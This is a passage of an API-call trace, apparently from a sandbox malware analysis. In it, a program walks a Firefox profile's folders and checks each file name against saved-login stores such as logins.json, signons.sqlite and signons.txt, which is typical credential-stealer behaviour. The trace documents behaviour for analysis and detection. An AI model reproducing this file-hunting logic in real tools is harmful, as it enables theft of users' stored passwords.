(lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0048.125] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.125] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.125] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.125] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0048.125] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0048.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.125] lstrlenA (lpString="\\") returned 1 [0048.125] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.125] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.125] lstrlenA (lpString="indexedDB") returned 9 [0048.125] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fb40 [0048.125] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.125] LocalFree (hMem=0x74fa60) returned 0x0 [0048.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.125] lstrlenA (lpString="\\*.*") returned 4 [0048.125] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74fc28 [0048.125] lstrcpyA (in: lpString1=0x74fc28, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0048.125] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0048.125] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.125] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.125] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.125] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.125] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.125] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0048.125] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0048.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.125] lstrlenA (lpString="\\") returned 1 [0048.125] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x761938 [0048.125] lstrcpyA (in: lpString1=0x761938, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0048.125] lstrlenA (lpString="moz-safe-about+home") returned 19 [0048.125] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0048.125] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.125] LocalFree (hMem=0x761938) returned 0x0 [0048.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.126] lstrlenA (lpString="\\*.*") returned 4 [0048.126] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x761938 [0048.126] lstrcpyA (in: lpString1=0x761938, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.126] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0048.126] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 0x72ddd0 [0048.126] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.126] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 1 [0048.126] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.126] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.126] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 1 [0048.126] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0048.126] lstrlenA (lpString=".metadata") returned 9 [0048.126] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0048.126] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0048.126] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0048.126] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0048.126] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 1 [0048.126] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0048.126] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0048.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.126] lstrlenA (lpString="\\") returned 1 [0048.126] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x762a40 [0048.126] lstrcpyA (in: lpString1=0x762a40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.126] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0048.126] lstrlenA (lpString="idb") returned 3 [0048.126] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x762b40 [0048.126] lstrcpyA (in: lpString1=0x762b40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.126] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.126] LocalFree (hMem=0x762a40) returned 0x0 [0048.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.126] lstrlenA (lpString="\\*.*") returned 4 [0048.126] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x762a40 [0048.126] lstrcpyA (in: lpString1=0x762a40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.126] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0048.126] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 0x72db50 [0048.126] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.126] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 1 [0048.126] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.126] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.126] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 1 [0048.126] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0048.126] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0048.127] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.127] lstrlenA (lpString="\\") returned 1 [0048.127] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x763c48 [0048.127] lstrcpyA (in: lpString1=0x763c48, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.127] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.127] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0048.127] lstrlenA (lpString="818200132aebmoouht") returned 18 [0048.127] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x763d48 [0048.127] lstrcpyA (in: lpString1=0x763d48, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.127] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.127] LocalFree (hMem=0x763c48) returned 0x0 [0048.127] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0048.127] lstrlenA (lpString="\\*.*") returned 4 [0048.127] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x763e58 [0048.127] lstrcpyA (in: lpString1=0x763e58, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.127] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0048.127] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef190 | out: lpFindFileData=0xef190) returned 0x72db90 [0048.127] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.127] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef190 | out: lpFindFileData=0xef190) returned 1 [0048.127] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.127] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.127] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef190 | out: lpFindFileData=0xef190) returned 0 [0048.127] FindClose (in: hFindFile=0x72db90 | out: hFindFile=0x72db90) returned 1 [0048.127] LocalFree (hMem=0x763e58) returned 0x0 [0048.127] LocalFree (hMem=0x763d48) returned 0x0 [0048.127] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 1 [0048.127] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.127] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0048.127] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0048.127] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0048.127] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.127] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.127] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 0 [0048.127] FindClose (in: hFindFile=0x72db50 | out: hFindFile=0x72db50) returned 1 [0048.127] LocalFree (hMem=0x762a40) returned 0x0 [0048.127] LocalFree (hMem=0x762b40) returned 0x0 [0048.127] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 0 [0048.127] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0048.127] LocalFree (hMem=0x761938) returned 0x0 [0048.127] LocalFree (hMem=0x76e840) returned 0x0 [0048.127] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0048.128] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.128] LocalFree (hMem=0x74fc28) returned 0x0 [0048.128] LocalFree (hMem=0x74fb40) returned 0x0 [0048.128] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.128] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0048.128] lstrlenA (lpString="key3.db") returned 7 [0048.128] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0048.128] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0048.128] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.128] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.128] lstrlenA (lpString="localstore.rdf") returned 14 [0048.128] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0048.128] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0048.128] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.128] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0048.128] lstrlenA (lpString="marionette.log") returned 14 [0048.128] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0048.128] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0048.128] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.128] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.128] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0048.128] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0048.128] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0048.128] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0048.128] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.128] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0048.128] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0048.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.128] lstrlenA (lpString="\\") returned 1 [0048.128] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.128] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.128] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.128] lstrlenA (lpString="minidumps") returned 9 [0048.128] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fb40 [0048.128] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.128] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.128] LocalFree (hMem=0x74fa60) returned 0x0 [0048.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0048.128] lstrlenA (lpString="\\*.*") returned 4 [0048.128] LocalAlloc (uFlags=0x40, 